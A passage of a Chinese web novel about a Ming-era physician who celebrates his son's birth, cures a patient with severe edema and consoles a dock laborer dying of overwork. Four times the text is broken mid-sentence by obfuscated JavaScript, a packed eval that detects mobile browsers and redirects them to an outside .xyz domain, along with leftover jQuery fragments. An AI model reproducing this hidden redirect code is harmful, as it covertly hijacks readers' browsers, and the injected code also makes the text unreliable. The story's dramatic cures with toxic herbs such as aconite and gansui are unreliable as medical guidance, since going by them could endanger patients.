婴儿在他并不舒服的臂弯里似乎愣了一下,小嘴扁了扁,竟又莫名其妙地笑了起来,口水顺着嘴角滑落。
“瞧瞧这小子,稀罕咱呢!跟咱有缘!”朱元璋笑得畅快,用他微粝的手指点了点婴儿的鼻尖,对马淳道,“这名取的好!马寻马寻,既是寻着根了,那这福气就稳稳当当了!”
“臣替小儿谢陛下吉言。”马淳躬身,声音清晰沉稳。
朱标此时也含笑上前,从腰间解下一枚通体莹白毫无杂质的龙纹羊脂玉佩,温润的光芒在暖阁内流转。
“初次见面,这是大表哥的一点心意。”他亲手将玉佩塞进襁褓内侧,紧挨着婴儿的身体,“愿表弟平安康健,顺遂无忧。”
“父皇皇兄都赐福了,咱们可不能落后啊!”晋王朱棡爽朗笑道,示意随从捧上贺礼。
一时间暖阁内珍品流转。
秦王朱樉送上镶珠嵌宝的赤金麒麟长命锁,光芒炫目。
晋王朱棡抬进整株**树,色泽如血,姿态奇崛。
燕王朱棣送的是一张形制奇古的黑漆小弓并一壶特制的玉头小箭,古朴中透着内敛的锋芒。
周王朱橚送来的是整匣的孤本医书并一盒名贵药材。
楚王朱桢送的是一整套羊脂玉雕琢的九连环,巧夺天工。
朱雄英等年小的皇孙们,也纷纷上前,献上自己的“贺礼”。
或是心爱的七巧板,或是精巧的火炮小模型,带着孩童独有的热忱。
宴席将至,暖阁中人渐次移步正厅。
马皇后最后离开,亲手将一枚纯金打造的长命锁戴在襁褓里小寻儿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053378|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颈上。
金锁温润厚重,雕刻着“长乐无极”四字,内里似乎还另藏机巧。
她俯身,用只有婴儿能听懂的温软声音道:“寻儿啊,姑母愿你……此生总有来处可依,有归途可寻。”
婴儿无意识地抓住她垂落的一缕金线流苏,咿呀了一声。
午时三刻,正厅大开,满月宴开席。
九鼎八簋由宫侍抬入厅中,摆放在主位前。
这是帝王家设宴的最高规格,鼎中盛太牢(牛、羊、猪),簋内储嘉粮。
鼎身饕餮纹沉暗厚重,无声诉说着礼制的森严与皇恩的浩荡。
朱元璋高踞主座,怀抱已沉沉入睡的婴儿,神态是从未有过的松弛。
太子朱标、马皇后分坐左右,诸位皇子依序下首。
勋贵重臣分两列坐于主家席下。
丝竹之声渐起,觥筹交错间,气氛逐渐热络。
蓝玉端着酒杯,目光锐利地在汤和与徐达之间扫了几个来回。
李文忠侧首低声与下首的沐英道:“好名字。寻……徐国公此子,来得正是时候。”
沐英面无表情,端起酒杯沾唇。
席间珍馐络绎不绝。
朱雄英对面前的水晶肴肉和八宝山珍皆兴致缺缺,目光却总忍不住瞟向主位——确切地说,是瞟向皇爷爷怀里那个睡得香甜的小襁褓。
趁着宫侍布菜的间隙,朱雄英凑到朱元璋身边,小声道:“皇爷爷,我能看看小表叔吗?”
朱元璋心情甚好,将襁褓微微倾斜。
朱雄英踮起脚,小心翼翼地探头,看到的是一张白里透红、睡得无比满足的小胖脸。
他忽然解下腰带上系着的一个小巧的、用明黄锦缎包裹的硬物。
那锦缎的一角滑落,露出一段温润的玉色边缘,赫然是一方私印的痕迹。
“这个……”朱雄英稚嫩的脸上带着认真,“表叔喜欢吗?”
朱元璋眼底掠过一丝极淡的讶异。
马皇后已含笑开口:“雄英真大方。不过这印是你父王予你刻字所用,不可轻易予人。表叔现在太小,还用不到呢。”
朱雄英“哦”了一声,脸上有些许失落,但还是小心地把锦包收回袖中。
马皇后朝身后宫人微一颔首。
一个精致的紫檀小匣被捧到朱雄英面前。
匣中是一整套玲珑剔透的玛瑙雕的“七巧板”,雕工精湛,颜色可爱。
“拿去玩吧。”
朱雄英眼睛一亮:“谢皇祖母!”
小孩子的注意力立刻被新奇玩具吸引,又开心起来。
黄昏时分,喧闹了一日的徐国公府终于重归宁静。
夜风寒凉如水。
徐妙云抱着吃饱喝足、再次沉入梦乡的马寻,在摇篮边低低哼着不成调的催眠曲。
马淳站在母子边上。
“今日……好大的场面。”徐妙云轻声道。
“嗯。”
“那金锁是姐姐亲自画的图样,说是最吉祥的蝙蝠团寿纹饰。”她顿了顿,“皇上的心意,太子的玉佩,晋王的小弓,雄英那孩子……”
马淳转过身走近,目光落在妻子温婉的面容和怀中稚儿酣睡的小脸上,声音低沉却清晰。
“皇恩浩荡,勋戚鼎盛。”他伸出手指,极其轻柔地碰了碰儿子胖乎乎的脸颊,婴儿在睡梦中无意识地吧唧了一下嘴,“这些是风光,是烈火烹油。”
“但我所求不多。”他抬眼,目光与徐妙云交汇,“有你,有他,这方庭院,便是归处。”
徐妙云抱着孩子的手紧了紧。
马淳的目光再次落回摇篮,“寻儿……为父毕生飘零,而今已寻得归路。”
徐妙云伸出手,温热的手指覆上他微凉的手背,“那就守住这份归处。”
……
第232章肾病综合征!马淳的高明手段!
暖阁里。
马寻在摇篮里睡得正沉,小拳头松松握着,脸颊透出健康的粉色。
徐妙云倚在软榻边,指尖轻轻描摹儿子柔嫩的轮廓,唇边是掩不住的温软笑意。
窗外的雪光映在她脸上,宁静得如同暖玉。
马淳立在窗边,案头搁着一本摊开的《金匮要略》,窗外飘来的不仅是雪沫的清冷气息,还有一丝若有似无的药味,提醒着他在这深宅高墙之外,仍有无数沉疴待解。
这份安宁未能持续太久。
细碎的、匆忙的脚步声由远及近,停在内室垂帘外,是伺候徐妙云心腹丫鬟的声音。
“国公爷,夫人……小六在前院候着,说……说医馆那边……来了个极蹊跷的病人,他不敢做主……”
徐妙云抚着儿子小脸的手指微微一顿,抬眼看向丈夫。
马淳已然转过身。
他走到摇篮边,俯身凝视了熟睡中的儿子片刻,眼神深处涌动着温情与一种难以言喻的责任感。
再抬头时,已是对妻子无声的示意。
徐妙云了然,温声道:“快去吧。小六那孩子性子稳,若非真棘手,不会这时候寻来。救人要紧。”
她眼中没有丝毫怨怼或挽留,只有对他医者之心的全然理解和托付。
“你仔细身子。”马淳声最后看了一眼摇篮,转身快步向外走去。
帘子掀起又落下。
徐妙云听着那急促却稳重的脚步消失在穿堂尽头,重新将目光温柔地投向儿子,“你爹爹啊,肩上担着两副担子呢……”
……
小青村医馆,一片肃杀寂静。
早过了寻常开诊的时辰,其他学徒都已被小六安排到后堂或偏厅。
偌大的前厅中央,单独辟出的矮榻上,蜷缩着一个身影。
马淳大步踏入,一眼就锁定了那病人,眸光骤然一凝。
太扎眼了。
那人裹在厚重的旧棉袍里,却掩不住异常“肥胖”的体态。
然而这胖,并非丰腴,而是一种病态的、浮松的肿胀。
脸上更是触目惊心,整张脸像是被水浸泡过许久,皮肤紧绷发亮,泛着一种诡异灰白,皮下的水分将五官挤压得几乎模糊变形。
尤其那双眼睛,眼睑肿得只剩两条细缝,艰难地半睁着,眼神浑浊黯淡,透着濒死的麻木。
诊室弥漫着一股难以驱散的湿冷与隐隐的腥秽气。
“师父!”小六从角落里快步迎上,年轻的脸庞紧绷,额头渗汗,手里还捏着一沓纸,是初步问诊的记录,“您可算来了!”
“何时发病?具体症状?”马淳已然进入了“马院判”的状态。
他一边问,一边解开外袍系带,早有候在一旁的学徒麻利地接过。
“此人三天前初诊,只道是晨起颜面稍肿,手脚也觉沉重些许。问诊脉象沉濡缓滞,并无寒热表证,像是寻常水湿困脾,我便开了健脾渗湿的参苓白术散加减,嘱咐他忌盐防潮。”小六语速极快,带着懊恼和困惑,“谁料昨日下午他再来,便成这般光景!全身浮肿加剧,尤其头面,喘息艰难,小便点滴难下,一日不足一小盅,色赤极浊!且畏寒怕风,四肢冰凉!”
马淳已净手走到榻边,动作没有丝毫犹疑,直接扣向病人那因浮肿而难以辨认的寸关尺。
三指落下,只觉指下脉搏沉重至极!
深按下去,那跳动的脉搏却虚弱得如同细丝,若有若无。
是典型的沉细脉,几乎摸不到丝毫搏动的力量。
指尖触到的皮肤凉得像块冰坨子,然而凑近细闻,病人口鼻间呼出的气息,却又带着一丝微弱的腥热。
他俯身凑近,仔细查看病人的舌象。
那舌苔更是惊人——厚腻得如同腐烂的苔藓,黄白交缠,滑腻水汪汪的一片,几乎看不到舌体本身的颜色。
“饮食如何?”马淳询问。
小六连忙答道:“自述毫无胃口,勉强吞咽则觉胀满欲呕,渴不欲饮,就算饮下,也觉水停腹中,更增胀满……”
“腹胀,阴囊可肿?”
“肿!”小六点头,“异常肿大,按之深陷不起!”
马淳有点眉头了,结合刚才的诊脉,已得出结论——肾病综合征。
马淳直起身,目光扫过病人灰败肿胀的脸,又落到那毫无血色的唇,以及那双几乎被水肿淹没的脚踝。
他沉吟片刻,目光转向学徒:“记录。”
学徒早已执笔待命。
小六也全神贯注的耳朵里:
“此非寻常水肿。”
“观其症:全身浮肿,尤以头面先起,迁延少腹下肢,皮薄光亮,按之凹陷深而不起,指印深白……”
“察其情:畏寒肢冷,口淡不渴,小便难通,量极少色赤浊如油……”
“验其脉:沉细难及,重按方觉,乃沉细欲绝之象……”
“观其舌:质淡而胖嫩,苔厚腻腐浊,水滑之相尤显……”
他的语速平稳,每一个字都敲在关键处:
“此证,病机当属——脾肾阳气大衰,气化无权,开阖失司!”
“中阳不振,则水湿失运,泛溢肌肤腠理,故见浮肿难消,按之没指。”
“肾阳亏虚,命门火衰,如灶下无薪,何能蒸腾水液?既不能化气行水,亦不能分清泌浊。水无出路,滞留体内则肿胀;清浊混杂,郁滞膀胱则水道闭塞,故小便极少而浑浊如油;真阳不足,温煦无力,故畏寒肢冷,口淡不渴;中宫失运,纳谷无权,则脘腹胀满,不欲饮食;水湿浊邪上蒙,扰阻心神,则精神萎靡。”
最后,他一字一顿道:
“此乃‘阴水’之候,而且已至危重!其根在阳虚,其标在水停浊瘀。再延误下去,水气凌心射肺,恐成喘脱昏陷之危局!”
小六听得脊背发凉,又豁然开朗,心中的疑云瞬间被拨开大半。
他急问:“师父!既是阴水重证,当以回阳救逆,化气行水为要?”
“不错!”马淳点头,“命悬一线,刻不容缓!”
他转身,语速更快,带着不容置疑的指挥:
“取真武汤重剂急煎!炮附子必要炮制到位,用量需足!重用茯苓、白术!生姜必佐!白芍暂缓!此乃急温少阴之阳,兼健脾利水!”
“此等浮肿,外邪束表虽轻,但体内水邪壅盛已极,单恃内温,恐力难速逮!需内外分消!
“取‘禹功散’调浓汁,即刻外敷头面、阴囊、下肢严重浮肿处!取其疏风利水、通络消肿之效!”
“病人此刻已无尿或少尿极危!恐有‘癃闭’‘关格’之虞,水道为瘀浊壅塞!
“光靠内服外敷恐难立通!当刺‘十宣穴’放血开窍!再刺肾俞、膀胱俞、三阴交强刺激!不留针!
“若此法仍不行,便备‘通关散’少许吹鼻取嚏,强行开肺气!肺为水之上源,肺气宣开,水道或有转机!但此二者皆是急法,耗气伤神,非危急不可滥用!”
马淳语如连珠,指挥若定:
“取甘遂末一厘,装入空肠溶胶丸!此药峻猛逐水,非大实重证不可轻用!
“待真武汤服下半个时辰,病人阳气稍振,水湿略有松动之时,立即用此‘甘遂胶囊’一丸吞服!
“峻逐其体内水饮瘀滞!务必快进快出,中病即止!不可恋战!服后立刻备足温热米汤!一泻之后,元气必耗!需以米汤续命养元!”
他目光锐利如刀:“小六!记录病案!附子用量、煎法、用法、药后反应、泻下物性状,务必时刻不离人守候,寸秒必记!此乃救命如救火之时!”
“遵命!”小六精神大振,声音里带着破釜沉舟的决断。
药炉火舌吞吐。
空气中苦涩的药味混合着外敷禹功散的辛散气息,更添几分肃杀。
炮制好的附子带着辛烈的阳气被投入翻滚的药液中。
马淳走到病人矮榻前,亲自卷起那宽大的棉袖,露出浮胀光亮、按之凹陷如泥的手腕。
他的三指再次搭上那微弱欲绝的寸关尺。
这一次,他闭上双眼。
一触之下。
那脉象……虽沉细,但在炮附辛烈的阳气催动下,最深处竟隐隐透出一丝极其微弱的搏动!
这绝不是纯粹的虚绝脉!
脉管深部似有被冰封的潜流在努力涌动!
并非全然的死寂!
这是一个极其重要的信号!
它说明一点——此人命门真火尚未彻底熄灭!
尚存一线生机!
他之前判断的“阳虚水泛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053379|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”无疑准确。
但这“水”,不仅是清冷的“寒水”,更混杂着因水道长期闭塞、阳气不运而代谢停滞、煎熬凝结的“浊瘀毒邪”!
浊瘀阻塞经络,如同淤泥堵塞河道,使得内温阳之药力难以透达于下焦肾命!
也使得该排出的糟粕水液无法排出!
浊瘀阻络!
这不单是阳衰水停的“阴水”,更是浊毒内结、真阳被郁的危重之候!
单纯的温阳利水,即便用了炮附子、甘遂,也只如水过地皮湿,药力受浊瘀所阻,难以真正作用于下焦命门之火,驱除深藏的瘀毒!
反而可能因为疏通不畅,浊毒**!
他猛地睁开眼!
眼中闪过洞穿本质的光芒。
“等等!”
他对正要将药汁端来的学徒喝止。
“药方需再佐一味!”
众人皆惊。
马淳的声音不容置疑:“速取‘土狗虫’干品,打为极细末粉!取三分!加入煎好的真武汤药液中!搅匀!同服!快!”
“土狗虫?”小六愕然。
此药破瘀通利之力极猛,甚至有微毒,寻常少用于如此虚弱之人。
“正是此物!”马淳目光如炬,直指核心,“观其面暗灰滞,肢肿处按之坚硬不易散,舌苔浊腻腐厚!
“此乃水湿日久,与气血胶结,化为浊瘀之明证!浊瘀阻络,如同河道被淤泥堵塞,阳药难以温煦命门,水邪亦无出路!
“浊瘀不去,则阳气不得归位,水邪不得排空!
“纵使用上甘遂、十宣等法强行排水,亦是治标!药力一过,水浊必将更甚!”
他指着病人的浮肿身体,沉声道:“此物虽有毒力,但其性走窜入络,能钻透瘀滞,‘破顽结于无形’,尤其善通利下焦水浊胶结!
“此时以少量佐入温阳方中,以其虫类锐利之性,穿行于湿浊瘀毒之间,为真武之阳气开路!
“为甘遂之开凿水邪扫清障碍!更助那水浊瘀毒得以速泄!是通补兼施,标本兼治!
“若仅用温阳利水,犹如清泉灌石,恐难奏奇效!”
“明白了!”小六恍然大悟,对师父判断的精准与用意的深刻佩服得五体投地,“虫药搜剔,破其瘀阻,使阳气得通!我即刻去办!”
土狗虫的粉末混入滚烫的药液,迅速消散。
马淳亲自督阵,看着那灰白的肿胀脸庞在药气和针力的催发下,艰难地吞咽着苦辣辛烈的药汁。
时间,在浓烈的药味中一分一秒地煎熬。
不知过了多久。
病人那几乎无法动弹的手指,猛地一抽!
接着是第二下!
原本微弱的气息,骤然变得急促、粗重!
如同被窒息许久的人终于吸到了第一口气!
那肿胀的腹部一阵剧烈闷响蠕动!
“快!接便桶!”马淳厉声喝道。
学徒早已备好。众人屏息凝神。
病人一声低沉痛苦的闷哼之后……
哗——!
稀水夹杂着大量如同黑色泥浆般的粘稠污物狂泻而出!
腥秽扑鼻!那颜色、那质地,绝非寻常水湿!
如同沉积多年的淤积河道一朝溃决!
一泻千里。
随着那浑浊污秽之物汹涌排出,病人那因极度浮肿而绷紧如鼓的腹部,以肉眼可见的速度迅速松弛下去!
那原本紧绷得发亮、灰白的脸庞,此刻竟奇迹般地泛开了一丝极其微弱的……血色!
更重要的是……
他那双被肿胀淹没的眼皮,挣扎着抬起了一点点缝隙,露出了些许清明。
马淳再次搭脉。
指下……
沉细依旧。
但那一丝微弱却执着的搏动,变得比刚才……
稍强了一丝!也更稳定了一线!
那一线真阳,未曾被狂泻耗竭!
那药力……
终于穿透了浊瘀的封锁,丝丝缕缕,续接上了那口命门火种!
他长长地、无声地呼出一口气,一直紧抿的唇角,终于松动了一丝极淡的弧度。
窗外,雪下得更紧了,映得天光朦胧。
学徒和小六手脚麻利地清理着秽物,替换被褥,给病人擦拭汗水。
马淳走到水盆前,细细洗净双手……
第233章多器官衰竭!他是活生生累死的!
两天后的清晨,雪没停。
便在这时,几个穿着短褐、补丁摞补丁的汉子,架着一个身形高大、此刻却如同软泥般往下瘫软的人,脚步踉跄地撞开了医馆的门。
沉重的声响惊动了当值的学徒和小六。
“快!搭把手!”小六心头一沉,一个箭步冲上去,几个学徒也慌忙迎出。
众人手忙脚乱地将那人抬到最里面那张预备急症的矮榻上。
炉火的光映着那人脸。
面如金纸,嘴唇是泛着死气的青紫。
眼睛半阖着,眼窝深陷得吓人,只有一丝微弱浑浊的光从缝隙里透出,已是出气多入气少。
露在旧袄外的手腕,皮包骨头,皮肤松松垮垮地垂着,看不到半点活力。
整个人散发着一股难以言喻的枯槁衰败之气。
“咋回事?怎么弄成这样?”小六声音发紧,手已经探向病人的寸关尺。
一个年纪稍长的工友,脸上冻得通红,带着惊惶和悲戚,喘着粗气道:“大、大夫……快……快给老李看看!早上刚扛完两趟大包,一下、一下就栽倒了……拉、拉都拉不起来……”
旁边另一个年轻些的工友红着眼圈补充:“李哥……李哥这些日子就没歇过一天!码头上的活,就数他接的最多!”
脚步声急促,马淳掀帘而入。
他只扫了矮榻一眼,脚步便是一顿。
那浓墨重彩的死亡气息,扑面而来。
“师父!”小六收回搭脉的手,脸色前所未有的凝重灰败,声音都变了调,“脉……几乎摸不到了……散乱无根……飘忽……”
马淳沉默地走近。
他没有立即诊脉,目光在那张枯槁如槁木的脸上停留片刻。
扫过那松垮无肉的四肢躯干,最后落在病人裸露脚踝上细密的、因长期浸泡污水而溃烂又结痂的痕迹上。
然后,才缓缓伸出手指。
矮榻边瞬间陷入死寂。
工友们大气不敢出,学徒们屏住呼吸,连炉火都似乎减弱了声音。
三指落下。
指尖下的皮肤冰凉粘腻。
指腹下的寸关尺,果然如同风中即将熄灭的残烛火苗,微弱、飘散、毫无根基地游弋着。
那不是“病”的脉象。
那是生命本源,被彻底透支干净后,发出的的哀鸣。
沉伏脉,沉到了极致,是沉微欲绝。
浮取几无,重按至骨,才勉强触及一丝若有似无、凌乱得如同败絮般的搏动。
脉势散乱无根,是元气败散、脏腑精气彻底枯竭。
脉体微细至极,仿佛一根随时会化入虚空的细丝。
没有寒热交争,没有实邪阻滞。
只有一种难以挽回的、走到生命尽头的枯寂。
半晌。
马淳缓缓收回手指。
他脸上没有任何多余的表情,只有肃穆。
他看向小六和围在旁边的学徒,“看到了么?这,并非急症骤发。是经年累月,水滴石穿。”
“观其形,骨如枯柴,肉尽消脱。面色如金箔贴附,黯淡无光,此乃脾土大败,气血生化之源断绝之象。”
“察其神,目无光彩,如油枯之灯焰飘忽不定,乃心肾精气告罄,元神溃散之兆。”
“触其脉,沉微散乱,无根无神,此为五脏之真气耗竭殆尽之象,如千仞危楼,根基崩塌。”
他的目光重新落回那张了无生气的脸上,一字一句,沉甸甸地砸在众人心头:“此人身躯,早已被掏空了。”
“筋骨如同年久失修、布满蛀洞的房梁,徒具其形,内里朽败不堪。”
“气血如同干涸见底的枯井,非是泉眼阻塞,而是源水耗尽。”
“脏腑如同老牛破车,长年累月,在泥泞中拖着重犁前行,没有片刻喘息,如今轮辐散架,轭具崩裂,再无前行之力。”
他顿了顿,声音里带着苍凉:“他的命元,如同烧到灯捻尽头的油灯,最后一星火花,正在熄灭。”
“非药石可及,非针砭能救。”
“精气神三者,俱已油尽灯枯。已是——生机断绝。”
“生机……断绝……”小六喃喃重复,手脚冰凉。
学医至今,他从师父口中听出过凝重、棘手、危急,但从未听过如此斩钉截铁、毫无回旋的“生机断绝”。
一股沉重的叹息在学徒们心中弥漫开。
看着那个为了几文钱活命钱拼尽一切的汉子,心底涌上的全是无力与悲悯。
“生机断绝?!”年长的工友猛地叫出声。
他扑到马淳面前,指着榻上的老李,浑身哆嗦:“大夫!您再想想办法!他不能死啊!他真不能死啊!”
“他家里瘫着老娘!下头还有五个小的!最大的才刚十岁,最小的丫头才三岁啊!”
“全靠他一个人在码头扛大包养活这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053380|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大家子!”
“昨儿晚上他咳了一宿,今早还非咬着牙去上工!说……说再不去,连老娘的药钱都要断了!”
年轻工友也哽咽着接话,泪水混着脸上的雪水滑落:“李哥……李哥太苦了!我们一块儿做活,哪个不累?可没一个像他这样不要命的!”
“一天干七八个时辰都是常事!码头散了,还去帮人挑夜货!”
“为了省口粮,他一顿就啃一个硬馒头!连咸菜都舍不得多夹一根!”
“省下的钱,全给家里买药买粮了……他自己……他自己……”
他说不下去,蹲在地上,双手抱头,压抑的哭声闷闷地传出来。
“他那娃子……前阵子一直发烧咳嗦……”年长工友抹了把脸,老泪纵横,“抓药的钱像流水一样……他哪敢歇?一刻都不敢停啊!那是要娃命的钱!他停手,一家老小咋办?”
“他这身子……就是生生熬干榨净的……”
另一个工友喟然长叹,声音哽咽,“不是病……是……是这一家人的担子,把他活活压垮了……”
字字句句,像沉重的石头,砸在寂静的医馆里。
压垮。
不是天灾,不是横祸。
是沉重如山、永无休止的生活,是嗷嗷待哺的一家老小,是一文钱难倒英雄汉的困窘。
一日复一日,将他筋骨里的最后一点力气,将他血脉里的最后一滴生机,都彻底熬干、榨净。
小六和学徒们听着,心口像压了块巨石,连呼吸都觉得艰难。
他们看着那张濒死的脸,眼神中的同情已被一种更深沉的敬畏和悲怮取代。
这具倒下的身躯,曾背负着多么沉重的东西。
马淳的目光沉静如水,从工友们悲戚愤懑的脸,移向矮榻上那一息尚存却再也无法回天的躯体。
他那双能起死回生的手,此刻无力地垂在身侧。
医学的精妙,在于洞悉生机与死寂的界限。
回天有术,那是对尚存一丝元气的病体而言。
非不为也,实不能也。
再高明的医术,也无法为一捧散沙重塑筋骨,无法为枯井再续泉源。
这样病,在前世已经很少见了。
——多器官衰竭。
肝、肾、心……所有的代偿能力都已用到极限。
在超长期、超极限的压榨下,终于一起崩溃,连锁反应,无可挽回……
第234章你是个汉子!你累了!歇歇吧!!
马淳的手,还停留在那叫老李的汉子冰冷的手腕上。
脉搏已微弱到几乎无法感知,散乱无根。
他缓缓直起身,脸上没有任何多余的表情,唯有阅尽生死后的肃穆。“不行了。”
学徒们心头一紧。
几个工友像被雷劈中,年长那位猛地扑到榻边,抓住老李冰凉的手摇晃,“老李!老李你醒醒!再看看!再看看娃……”
另一个年轻工友痛苦地捂住了脸,肩膀剧烈耸动,呜咽声从指缝里漏出。
绝望像冰冷的潮水,瞬间淹没了小小医馆。
马淳看向矮榻上那张迅速灰败下去的面孔。
“他的家在哪儿?”马淳开口。
哭泣的年轻工友猛地抬头,红肿的眼睛里有一丝困惑。
年长工友也愣住了,停住摇晃,哽咽着反问:“家……家?”
“嗯,”马淳看着他,“地址。告诉我。”
“小…小李庄!”年长工友几乎是本能地回答,“西头倒数第三户!门前有棵歪脖子枣树的,就是他家!家里……家里有他瘫在炕上的老娘,还有五个……”
“我知道,五个孩子。”马淳替他接了下去。
他往前一步,靠近那张迅速失去生气的脸。
俯下身,看向老李。
“老李。”
灰败脸上,眼皮下的眼珠,极其轻微地动了一下。
马淳捕捉到了这细微的变化,继续开口,“我治不好你。”
这话残忍而直接。
但紧接着,马淳道:“但我应承你一件事。”
“你的老娘,我会治好她,保她衣食无忧,寿终正寝。”
“你的五个孩子,我出钱供他们衣食温饱,男娃送他们读书识字,女娃教她们安身立命的手艺,直到他们都能独当一面,不辱没了你老李家的门楣。”
“你累了这一辈子,撑起了这一大家子的天,到站了。”
话到此处,马淳微顿,声音低里带着敬意,“该歇歇了。”
“这一趟,你走完了,你是条汉子,真正的汉子。”
最后一个字落下。
矮榻上那枯槁的身躯,剧烈地抽搐了一下!
并非痛苦。
而是一种被人认可的欢喜。
他这一辈子都被人叫做死扛包的。
却没想到有朝一日,一个神医会理解他。
他挣扎着要起身给马淳一个敬意。
可是他明显做不到,只能发出气若游丝,模糊到几乎听不见的音节,“谢……”
声若蚊蚋。
“谢……”
第二个“谢”字只发出半个音节,便彻底停息。
笑容凝固在他脸上。
那点好不容易凝聚起来的光芒,迅速黯淡、熄灭。
睁开的眼缝也彻底合拢。
连最后一丝微弱的呼吸,也彻底停止。
矮榻上的躯体重归死寂。
只是脸上那凝固的笑意,与之前的挣扎痛苦形成刺目的对比。
他放心了!
也的确累了!
他该休息了!
这辈子,太苦了!
这一次终于能好好睡一觉!
“老李——!”
“李哥啊——!”
几声凄厉到变调的悲号撕裂出声。
几个刚才还强撑着的汉子,此刻如同绷断的弓弦,失声痛哭。
年长的工友死死攥着老李僵冷的手,泪水和鼻涕糊了满脸,将额头狠狠抵在冰冷的矮榻边缘。
年轻工友跪倒在地,头磕在冰冷砖地上,沉闷的撞击声伴随着压抑不住的嚎啕。
另一个工友仰着头,对着青灰色的屋顶发出野兽般的悲鸣。
粗砺的手或捶打着冰冷的砖地,或狠狠抓住自己的头发。
那不是做戏。
那是生命逝去时最本真的悲痛。
是失去一个朝夕相处、扛着同一根纤绳的兄弟。
是看到一个真正用命去养家的汉子轰然倒下。
马淳静静地站在矮榻前。
目光扫过这撕心裂肺的悲恸场面。
工友们那毫不掩饰、发自肺腑的痛楚,没有半分虚假。
他移回目光,最后看了一眼矮榻上带着解脱笑意逝去的老李。
心下了然。
能在命绝之时,让这些同样挣扎在生存线上的粗豪汉子痛成这样。
此人行事为人,至少在这群一起扛活的穷兄弟心中,分量极重。
有义。
有情。
值得一诺。
他再开口,却是对小六和学徒们说的。
“看见了吗?”
学徒们大多眼眶发红,沉浸在悲伤气氛中,被这一问拉回心神,纷纷抬头。
连沉浸在悲痛中的工友也下意识地停下哭泣,泪眼婆娑地望过来。
马淳的目光掠过那张已经失去温度、却定格在笑容上的脸。
“病人分两种。”他的声音平静,“一种,身体病了。”
他的指尖轻轻虚点了一下老李枯瘦的手臂。
“筋骨衰败,气血耗尽,生机断绝。”
“这是形骸之损,是看得见摸得着的病。医者穷尽所学,或可挽回于未溃之时,亦或回天乏术,只能眼睁睁看着灯灭。
“此乃医者之力的边界,亦是天理昭彰。”
他话锋微转,目光缓缓扫过矮榻边那几个泣不成声、肩膀仍在微微颤抖的工友。
“还有一种病,在心。”
“心累。”
“心苦。”
“心之重担,压垮脊梁,熬干心血,蚀骨吞髓,比那**鸠酒更烈,更甚。”
“似这等压垮累死,便是心病的极致。”
他收回目光,落在矮榻上。
“身病如刀斧外伤,总有个来处去处。”
“可这心病,无形无质,盘踞脏腑,侵蚀意志,最终
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058742|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由内而外,化作摧垮形骸的千斤重担。”
小六的目光死死钉在老李凝固的笑容上,又掠过工友们悲痛欲绝的脸,豁然开朗。
先前心头那堵着、压着的窒闷感似乎被师父这几句话撬开了一道缝隙。
学徒们也若有所思,看向老李的眼神不再仅仅是怜悯,更多了一层沉重。
马淳最后道:“医者可治身病,用药石针砭。”
“更须懂这心病。”
他的目光扫过每一个学徒的脸,“若见身病背后藏着的困顿枷锁,听病人无法诉说的沉重喘息,观其亲友眼中深埋的忧虑苦楚,便窥见了几分心病之根。”
“治得了身病,是救人。”
“若能察其心病之苦,解其愁困之厄,助其挣脱一丝半分枷锁,或在绝望中抚慰其心,使其安然瞑目……这何尝不是医道?”
“是另一种更深处的,‘活’人之术。”
工友们怔怔地看着这位一身贵气却行事迥异的大夫。
他说的话,他们不全懂。
但他说兄弟老李是“真正的汉子”,说他累垮了该歇歇了,说他答应照顾老李的娘和娃。
这每一句都像是沉重的榔头,敲打在他们震动的心上。
让他们在那无边无际的痛苦里,抓住了一点东西。
一点……能支撑他们面对同样沉重人生的东西。
小六用力眨了眨眼,驱散眼底的酸涩。
他看了看师父沉静如山的侧影。
又看向矮榻上含笑而逝的老李。
再看向那几个依旧沉浸在巨大悲伤中,却似乎被注入某种力量的工友。
“弟子……懂了。”他的话里,有前所未有的明悟。
不是对药方的。
是对师父这一刻背影里所传达的东西。
学徒们脸上也带着不同层次的震撼和思考。
